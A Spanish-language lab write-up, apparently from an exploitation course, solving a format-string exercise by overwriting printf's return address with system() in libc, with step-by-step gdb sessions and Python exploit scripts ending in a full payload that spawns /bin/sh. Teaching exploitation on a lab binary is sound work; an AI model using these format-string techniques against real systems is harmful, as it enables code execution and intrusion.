La creación de exploits en un escenario en el que no se admite ejecución de código en la pila.
/* e1.c *
* specially crafted to feed your brain by gera */
/* jumpy vfprintf, Batman! */
int main(int argv,char **argc) {
/* Can you do it changing the stack? */
/* Can you do it without changing it? */
printf(argc[1]);
while(1);
}
El programa imprime el input del usuario y se mantiene en un loop infinito sin finalizar.
while(1)
que provoca un bucle infinito que vuelve inútil sobreescribir la dirección de retorno del main()
.-z execstack
y por ende que no es posible ejecutar nuestro propio shellcode almacenado en la pila. Eso nos obliga a cambiar la estrategia de ataque.Entonces a partir de ahora la compilación del binario se realiza de esta manera:
user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -o e1 e1.c
Se observa un uso vulnerable de printf()
bajo la forma: printf (argv[1])
. Es posible ingresar un input que incluya especificadores de formato como por ejemplo %x%x
(para conocer direcciones de la pila) o %n
(para escribir en la pila).
Se puede aprovechar la vulnerabilidad de este programa de varias maneras. En este caso se va a seguir una estrategia de ataque del tipo return-to-libc.
El objetivo será sobreescribir la dirección de retorno de printf()
para que en vez de retornar a main()
, se ejecute la función system()
dentro de libc
. Previamente se adecúa la pila para simular un llamado válido a system()
con el argumento /bin/sh
, que nos dará una shell.
El exploit cuenta con tres partes:
Primera parte: usamos gdb
para conocer tres direcciones en el mapa de memoria del proceso: la dirección de retorno de printf()
, la dirección de system()
en libc
y la dirección del string /bin/sh
.
Segunda parte: sobreescribimos la dirección de retorno de printf()
en principio con un número arbitrario.
Tercera parte: escribimos en esa dirección de retorno exactamente la dirección de system()
.
Cuarta parte: ubicamos el string /bin/sh
en el lugar indicado en la pila para que system()
lo considere como su argumento y lograr el llamado a system("/bin/sh")
.
…………………………………………………………………………………………………………………………………………………
Primera parte: averiguamos con gdb
las direcciones necesarias.
Creamos un archivo exploit.py
con un input de prueba, cuidando mantener el mismo padding durante toda la resolución del problema para controlar las direcciones de la pila.
#! /usr/bin/env python
import sys
from struct import pack
#padding para controlar las direcciones de la pila
def pad(s):
return (s + "A"*100000)[:100000]
exploit = "BBBB"
sys.stdout.write(pad(exploit))
printf()
:
user@abos:~$ gdb e1
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
Reading symbols from e1...done.
(gdb) r "$(./exploit.py)"
(gdb) si
0x080482d0 in printf@plt () ; primera instrucción de printf()
(gdb) x/wx $esp
0xbffe70c0 : 0x0804840c ; dirección de retorno a main apilada
En gdb
avanzamos instrucción a instrucción con el comando siguiente instrucción ("si"
) hasta entrar en el call printf
. Exactamente en la primera instrucción dentro de printf
consultamos el tope de la pila para conocer qué dirección de retorno se apiló antes de saltar a la función.
La dirección de retorno de printf()
es 0xbffe70c0
.
Averiguamos la dirección de system()
en libc
:
En gdb
imprimimos la dirección de la siguiente manera:
user@abos:~$ gdb e1
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
Reading symbols from e1...done.
(gdb) break main
(gdb) r "$(./exploit.py)"
(gdb) p system ; consultamos la dirección de system en libc
$1 = {<text variable, no debug info>} 0xb7e633e0 <__libc_system>
La dirección de system()
en libc
es 0xb7e633e0
.
Recordemos que podemos utilizar esta dirección dado que la misma no cambia en cada ejecución del programa porque hemos deshabilitado la mitigación ASLR con la configuración:
user@abos:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space=0
/bin/sh
: "/bin/sh"
dentro de una variable de entorno, también es posible encontrar ese string dentro de libc
. Averiguamos su dirección de la siguiente manera:
user@abos:~$ gdb e1
(gdb) info proc map ; consultamos addr libc
process 840
Mapped address spaces:
Start Addr End Addr Size Offset objfile
....
+---- 0xb7e25000 0xb7fcc000 0x1a7000 0x0 /lib/i386-linux-gnu/i686/cmov/libc-2.19.so
|
|
+---> (gdb) find 0xb7e25000, +9999999, "/bin/sh" ; buscamos desde 0xb7e25000 la dirección de libc
0xb7f84551 ; encontró una coincidencia
warning: Unable to access 16000 bytes of target memory at 0xb7fce8d9, halting search.
1 pattern found.
(gdb) x/s 0xb7f84551 ; verificamos dirección del string /bin/sh
0xb7f84551: "/bin/sh"
La dirección de /bin/sh
es entonces 0xb7f84551
.
Segunda parte: queremos sobreescribir la dirección de retorno de printf()
, en principio con un número arbitrario. Aprovechamos la vulnerabilidad del format string para sobreescribir ese valor en la pila.
Identificamos el parámetro %08x
que imprime el format string.
Construimos un string como input para printf()
que imprima el contenido de la pila concatenando varios %08x
, y que comience con un patron identificable (0x42424242...
).
El objetivo de este paso intermedio es saber cuál de los parametros %08x
imprime el comienzo de nuestro string 0x42424242
. Una vez detectado ese parámetro lo reemplazamos por %n
, parámetro que no imprime sino que escribe la cantidad de bytes procesados en la dirección dada por el comienzo del string (inicialmente 0x42424242
).
Para ello adecuamos el script:
#! /usr/bin/env python
"""Uso: ./e1 "$(./exploit.py)" """
import sys
from struct import pack
#padding para controlar las direcciones de la pila
def pad(s):
return (s + "A"*100000)[:100000]
exploit = "BBBBBBBBBBBBBBBBBBBBBBBBBBB"
exploit += "BBBBBBBBBBBBBBBBBBBBBBBBBBB"
exploit += "BBBBBBBBBBBBBBBBBBBBBBBBBBB"
exploit += "%08x.%08x.%08x.%08x." * 200 ; imprimimos contenido de la pila
sys.stdout.write(pad(exploit))
En gdb
vemos la impresión de valores de la pila por los sucesivos %08x.%08x.%08x.%08x...
hasta identificar el comienzo del string.
Identificamos cual de los parámetros imprime el comienzo del string. Para eso vamos quitando %08x
hasta imprimir sólo el comienzo del string y observar que inmediatamente lo siguen las "AAAA..."
del padding.
En este caso con prueba y error detectamos que el parámetro número 116 imprime el 0x42424242
inicial. En la imagen a continuación se ve cómo lo siguen las “AAAA…” del padding que incluimos.
#! /usr/bin/env python
"""Uso: ./e1 "$(./exploit.py)" """
import sys
from struct import pack
#padding para controlar las direcciones de la pila
def pad(s):
return (s + "A"*100000)[:100000]
exploit = "B" # alineacion
exploit += "BBBB" # comienzo del string
exploit += "%08x." * 116
sys.stdout.write(pad(exploit))
Reemplazamos el principio del string 0x42424242
por la dirección de retorno de printf
alineada adecuadamente.
El archivo exploit.py
resultante es:
#! /usr/bin/env python
"""Uso: ./e1 "$(./exploit.py)" """
import sys
from struct import pack
def pad(s):
return (s + "A"*100000)[:100000]
ret_addr = 0xbffe70c0
exploit = "B" # alineacion
exploit += pack("<I", ret_addr) # ret_addr_after_printf
exploit += "BBBB"
exploit += "%08x." * 116
sys.stdout.write(pad(exploit))
Y vemos que el parámetro %08x
número 116 imprime esa dirección en el output resultante:
Si reemplazamos el último %x
por %n
vemos como escribimos en la dirección de retorno de printf
el número de caracteres procesados hasta el momento.
Para ello adecuamos el exploit:
#! /usr/bin/env python
"""Uso: ./e1 "$(./exploit.py)" """
import sys
from struct import pack
def pad(s):
return (s + "A"*100000)[:100000]
ret_addr = 0xbffe70c0
exploit = "B" # alineacion
exploit += pack("<I", ret_addr) # ret_addr_after_printf
exploit += "BBBB"
exploit += "%08x." * 115
exploit += "%n" # escribimos caract. procesados
sys.stdout.write(pad(exploit))
Al ejecutar, como %n
siempre escribe la cantidad de caracteres procesados en la dirección dada, vemos que escribimos 0x414
en la dirección de retorno de printf
.
(gdb) r "$(./exploit.py)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal SIGSEGV, Segmentation fault.
0x00000414 in ?? () ; logramos un salto en la ejecución
Cannot write the dashboard
Traceback (most recent call last):
File "<string>", line 358, in render
File "<string>", line 939, in lines
MemoryError: Cannot access memory at address 0x414
(gdb) x/wx 0xbffe70c0
0xbffe70c0: 0x00000414 ; logramos esta escritura!
Como en la dirección de retorno se almacena el valor 0x00000414
, al finalizar el llamado a printf()
se intenta retornar a esa dirección provocando una violación de segmento.
Logramos cumplir el objetivo intermedio: nos aprovechamos del format string para sobreescribir la dirección de retorno del printf
y controlar el flujo de ejecución del programa. En este punto sobreescribirmos la dirección de retorno con el número 0x414
(la cantidad de bytes del string procesados hasta el %n
). Todavía es necesario escribir exactamente la dirección de system()
para que sea esa la función que se ejecute.
Usaremos como recurso el padding de los parámetros de formato para controlar la cantidad de caracteres que procesa %n
. En el especificador previo al %n
agregamos un padding %100x
para ver la cantidad de caracteres procesados que se escriben.
El objetivo será reemplazar la dirección de retorno de printf()
por system()
, es decir, debemos lograr que la cantidad de caracteres procesados coincida con la dirección de system()
tal como se muestra en la imagen a continuación.
Modificamos el script:
#! /usr/bin/env python
"""Uso: ./e1 "$(./exploit.py)" """
import sys
from struct import pack
def pad(s):
return (s + "A"*100000)[:100000]
ret_addr = 0xbffe70c0
exploit = "B" # alineacion
exploit += pack("<I", ret_addr) # ret_addr_after_printf
exploit += "BBBB"
exploit += "%08x." * 114
exploit += "%100x" # modificamos cant. caract. procesados
exploit += "%n" # escribimos en ret_addr_after_printf
sys.stdout.write(pad(exploit))
Y lo ejecutamos:
(gdb) r "$(./exploit.py)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0000046f in ?? ()
Cannot write the dashboard
Traceback (most recent call last):
File "<string>", line 358, in render
File "<string>", line 939, in lines
MemoryError: Cannot access memory at address 0x46f
(gdb) x/wx 0xbffe70c0
0xbffe70c0: 0x0000046f
Ahora en la dirección de retorno se almacena el valor 0x0000046f
, al finalizar el llamado a printf()
se intenta retornar a esa dirección provocando también una violación de segmento. Entonces sabemos que la cantidad de caracteres procesados incluido el padding de "%100x"
es 0x46f
.
Tercera parte: no queremos escribir cualquier número en ret_addr
sino exactamente la dirección de system()
.
Escribir con %n
la dirección de system
implicaría procesar una cantidad de bytes enormes, para evitarlo escribiremos la dirección de system
de a un byte a la vez con el parámetro %hhn
.
Con cuatro parámetros %hhn
sobreescribimos de a un byte a la vez la nueva dirección de retorno.
Recordemos que la dirección de retorno de printf
se encuentra en 0xbffe70c0
y la dirección de system
es 0xb7e633e0
. El objetivo será modificar byte por byte esta dirección de retorno de la siguiente manera:
Valor de `ret_addr_after_printf`
# byte | ret_addr | valor actual | valor deseado (system_addr)
0 0xbffe70c0: 0x0c --> 0xe0
1 0xbffe70c1: 0x84 --> 0x33
2 0xbffe70c2: 0x04 --> 0xe6
3 0xbffe70c2: 0x08 --> 0xb7
--------------- ----------------
0x0804840c 0xb7e633e0
Entonces en el exploit desglosamos la dirección de retorno en cada uno de sus bytes. Y por cada byte, vamos a incluir una dupla "%<padding>x + %hhn"
para escribir una parte de la dirección de system
en cada uno de ellos. Por ejemplo, para el primer byte menos significativo de la dirección de retorno incluimos las siguientes líneas en el script:
#Dupla para 1er byte de ret_addr
exploit += "%100x" #cant. bytes procesados: ???
exploit += "%hhn" #escribe ret_addr_byte_0
El layout de la pila deseado será algo similar a:
El exploit queda construido de la siguiente manera:
#! /usr/bin/env python
"""Uso: ./e1 "$(./exploit.py)" """
import sys
from struct import pack
def pad(s):
return (s + "A"*100000)[:100000]
ret_addr = 0xbffe70c0
#system_addr = 0xb7e633e0
ret_addr_byte_0 = ret_addr # low byte: 0x0c
ret_addr_byte_1 = ret_addr + 1 # 2nd byte: 0x84
ret_addr_byte_2 = ret_addr + 2 # 3rd byte: 0x04
ret_addr_byte_3 = ret_addr + 3 #high byte: 0x08
exploit = "A"
exploit += pack("<I", ret_addr_byte_0) #%hhn
exploit += "BBBB" #lo imprime %100x
exploit += pack("<I", ret_addr_byte_1) #%hhn
exploit += "CCCC"
exploit += pack("<I", ret_addr_byte_2) #%hhn
exploit += "DDDD"
exploit += pack("<I", ret_addr_byte_3) #%hhn
exploit += "EEEE"
exploit += "%08x." * 114
#low_byte
exploit += "%100x" #cant. bytes procesados: 0x46f
exploit += "%hhn" #escribe ret_addr_byte_0
sys.stdout.write(pad(exploit))
El primer especificador %100x
nos va a permitir -cambiando su padding- modificar el número que escribimos en el byte menos significativo de la dirección de retorno.
Observamos el valor que obtenemos con ese padding arbitrario de 100
, poniendo un breakpoint en la instrucción ret
dentro de printf
y viendo el nuevo valor almacenado:
(gdb) r "$(./exploit.py)"
(gdb) si
0x080482d0 in printf@plt ()
(gdb) x/10i $eip
0xb7e71c63 <__printf+19>: mov DWORD PTR [esp+0x8],eax
0xb7e71c67 <__printf+23>: mov eax,DWORD PTR [esp+0x20]
0xb7e71c6b <__printf+27>: mov DWORD PTR [esp+0x4],eax
0xb7e71c6f <__printf+31>: mov eax,DWORD PTR [ebx-0x70]
0xb7e71c75 <__printf+37>: mov eax,DWORD PTR [eax]
0xb7e71c77 <__printf+39>: mov DWORD PTR [esp],eax
0xb7e71c7a <__printf+42>: call 0xb7e68290 <_IO_vfprintf_internal>
0xb7e71c7f <__printf+47>: add esp,0x18
0xb7e71c82 <__printf+50>: pop ebx
break => 0xb7e71c83 <__printf+51>: ret ; detenemos antes de que printf retorne
(gdb) break *0xb7e71c83
(gdb) r "$(./exploit.py)"
Y al llegar al breakpoint, inspeccionamos la pila y observamos el nuevo valor del byte menos significativo de la dirección de retorno :
Vemos como el valor pasa de ser: 0xbffe70c0: 0x0804840c
, a ser: 0xbffe70c0: 0x08048487
.
Entonces sabemos que con un padding -arbitrario- de 100
escribimos en el byte menos significativo de ret_addr
el número 0x87
o 135 en decimal.
Realizamos cálculos para lograr el número deseado (recordando que la dirección de system()
es 0xb7e633e0
). En este caso debemos escribir 0xe0
o 224 en decimal, que corresponde al byte menos significativo de la dirección de system()
.
Para los cálculos es de utilidad la fórmula:
#Fórmula para el cálculo del padding
nro deseado - nro obtenido + padding_anterior = padding_nuevo
En este caso:
#low_byte
(nro deseado - nro obtenido) + padding_anterior = padding_nuevo
(0xe0 - 0x87) + 100 = ???
(224 - 135) + 100 = 189 ; 189 este es el padding necesario para lograr 0xe0
Siguiendo la fórmula, reemplazamos en exploit.py
el padding anterior de 100
por el nuevo padding 189
y obtenemos el resultado deseado en el byte menos significativo de la dirección de retorno:
#low_byte
exploit += "%189x" #cant. bytes procesados: 0xe0
exploit += "%hhn" #escribe ret_addr_byte_0
Realizamos el mismo proceso para para el resto de los bytes. Primero con un padding arbitrario vemos qué número escribimos en el byte correspondiente de la dirección de retorno. Y luego siguiendo la fórmula modificamos el padding para hacer una escritura con el número adecuado.
Hasta finalmente sobreescribir correctamente los cuatro bytes de la dirección de retorno de printf()
para que al retornar salte a system()
y no a main()
.
#! /usr/bin/env python
"""Uso: ./e1 "$(./exploit.py)" """
import sys
from struct import pack
def pad(s):
return (s + "A"*100000)[:100000]
ret_addr = 0xbffe70c0
#system_addr = 0xb7e633e0
ret_addr_byte_0 = ret_addr # low byte: 0x0c
ret_addr_byte_1 = ret_addr + 1 # 2nd byte: 0x84
ret_addr_byte_2 = ret_addr + 2 # 3rd byte: 0x04
ret_addr_byte_3 = ret_addr + 3 #high byte: 0x08
exploit = "A"
exploit += pack("<I", ret_addr_byte_0) #%hhn
exploit += "BBBB"
exploit += pack("<I", ret_addr_byte_1) #%hhn
exploit += "CCCC"
exploit += pack("<I", ret_addr_byte_2) #%hhn
exploit += "DDDD"
exploit += pack("<I", ret_addr_byte_3) #%hhn
exploit += "EEEE"
exploit += "%08x." * 114
#low_byte
exploit += "%189x" #cant. bytes procesados: 0xe0
exploit += "%hhn" #escribe ret_addr_byte_0
#2do_byte
exploit += "%83x" #cant. bytes: 0x33
exploit += "%hhn" #ret_addr_byte_1
#3er_byte
exploit += "%179x" #cant. bytes: 0xe6
exploit += "%hhn" #ret_addr_byte_2
#high_byte
exploit += "%209x" #cant. bytes: 0xb7
exploit += "%hhn" #ret_addr_byte_3
sys.stdout.write(pad(exploit))
Consideraciones:
Si por el cálculo obtenemos un número negativo como padding, incluimos un 1 delante del número deseado (como descartamos el carry logramos el cometido). Por ejemplo, en el segundo byte de la dirección de retorno queremos escribir
0x33
pero los cálculos nos devuelven un padding negativo, para calcularlo usamos entonces el número0x133
en vez de0x33
y descartamos el carry.
#Fórmula para el cálculo del padding > #2do_byte exploit += "%08x" #cant. bytes procesados deseados: 0xe8 exploit += "%hhn" #escribe ret_addr_byte_1
Probamos con un padding de
08
y procesamos una cantidad de bytes0xe8
.#Fórmula para el cálculo del padding #versión 1: 2do_byte (nro deseado - nro obtenido) + padding_anterior = padding_nuevo (0x33 - 0xe8) + 8 = ??? NEGATIVO #version correcta: 2do_byte (nro deseado - nro obtenido) + padding_anterior = padding_nuevo (0x133 - 0xe8) + 8 = ??? ; reemplazamos 0x33 por 0x133 (307 - 232) + 8 = 83 ; logramos calcular el padding
Y con un padding de
83
obtenemos el resultado deseado:#2do_byte exploit += "%83x" #cant. bytes procesados deseados: 0x33 exploit += "%hhn" #escribe ret_addr_byte_1
Finalmente, logramos sobreescribir correctamente los cuatro bytes de la dirección de retorno con el valor de system
en libc
(0xb7e633e0
):
Y logramos un salto a system()
:
El layout de la pila resultante es el siguiente:
Cuarta parte: para que el llamado a system()
nos devuelva una shell, esta función debe tener como argumento el string /bin/sh
.
Dado que el llamado a system()
no se hizo con una instrucción call
sino que se logró modificando una dirección de retorno de otra función, es necesario cumplir con la expectativa de system()
en relación a la pila. Siguiendo la convención del llamado a funciones, system()
espera en el tope de la pila una dirección de retorno (ret_addr_after_sys
) y antes su argumento.
Ese estado de la pila es el que hay que construir a mano, para ubicar el string /bin/sh
en el lugar indicado y cuando la ejecución salte a system()
esta función identifique a ese string como su argumento.
Consideraciones:
La dirección de retornoret_addr_after_sys
no nos interesa en este momento (únicamente la tenemos en cuenta para saltearla). No obstante, si se controlan las sucesivas direcciones de retorno es posible encadenar varias llamadas a funciones o incluso otro tipo degadgets
, de ahí el nombre dereturn-oriented programming
.
Seguimos el mismo procedimiento pero esta vez para almacenar la dirección de /bin/sh
(antes vimos que era 0xb7f84551
) en la posición exacta en la pila dónde system()
buscará su argumento (ret_addr + 8 = 0xbffe70c8
).
Y finalmente el exploit resultante es:
#! /usr/bin/env python
"""Uso: ./e1 "$(./exploit.py)" """
import sys
from struct import pack
def pad(s):
return (s + "A"*100000)[:100000]
ret_addr = 0xbffe70c0
arg_sys_addr = ret_addr + 8 #0xbffe70c8
#system_addr = 0xb7e633e0
#bin_sh_addr = 0xb7f84551
ret_addr_byte_0 = ret_addr #low byte
ret_addr_byte_1 = ret_addr + 1
ret_addr_byte_2 = ret_addr + 2
ret_addr_byte_3 = ret_addr + 3 #high byte
arg_sys_addr_byte_0 = arg_sys_addr #low
arg_sys_addr_byte_1 = arg_sys_addr + 1
arg_sys_addr_byte_2 = arg_sys_addr + 2
arg_sys_addr_byte_3 = arg_sys_addr + 3 #high
#ret_addr de printf()
exploit = "A"
exploit += pack("<I", ret_addr_byte_0) #%hhn
exploit += "BBBB" #%x
exploit += pack("<I", ret_addr_byte_1) #%hhn
exploit += "CCCC" #%x
exploit += pack("<I", ret_addr_byte_2) #%hhn
exploit += "DDDD" #%x
exploit += pack("<I", ret_addr_byte_3) #%hhn
exploit += "EEEE" #%x
#argumento de system()
exploit += "FFFF"
exploit += pack("<I", arg_sys_addr_byte_0) #%hhn
exploit += "GGGG" #%x
exploit += pack("<I", arg_sys_addr_byte_1) #%hhn
exploit += "HHHH" #%x
exploit += pack("<I", arg_sys_addr_byte_2) #%hhn
exploit += "IIII" #%x
exploit += pack("<I", arg_sys_addr_byte_3) #%hhn
exploit += "JJJJ"
#padding
exploit += "%08x." * 114
#calculo system() addr
#low_byte
exploit += "%189x" #cant. bytes procesados: 0xe0
exploit += "%hhn" #escribe ret_addr_byte_0
#2do_byte
exploit += "%83x" #cant. bytes: 0x33
exploit += "%hhn" #ret_addr_byte_1
#3er_byte
exploit += "%179x" #cant. bytes: 0xe6
exploit += "%hhn" #ret_addr_byte_2
#high_byte
exploit += "%209x" #cant. bytes: 0xb7
exploit += "%hhn" #ret_addr_byte_3
#calculo /bin/sh addr
#low_byte
exploit += "%154x" #cant. bytes procesados: 0x51
exploit += "%hhn" #escribe arg_sys_addr_byte_0
#2do_byte
exploit += "%244x" #cant. bytes: 0x45
exploit += "%hhn" #arg_sys_addr_byte_1
#3er_byte
exploit += "%179x" #cant. bytes: 0xf8
exploit += "%hhn" #arg_sys_addr_byte_2
#high_byte
exploit += "%191x" #cant. bytes: 0xb7
exploit += "%hhn" #arg_sys_addr_byte_3
sys.stdout.write(pad(exploit))
Y al ejecutarlo logramos llamar a system("/bin/sh")
y obtenemos una shell.
/bin/sh
en una variable de entorno.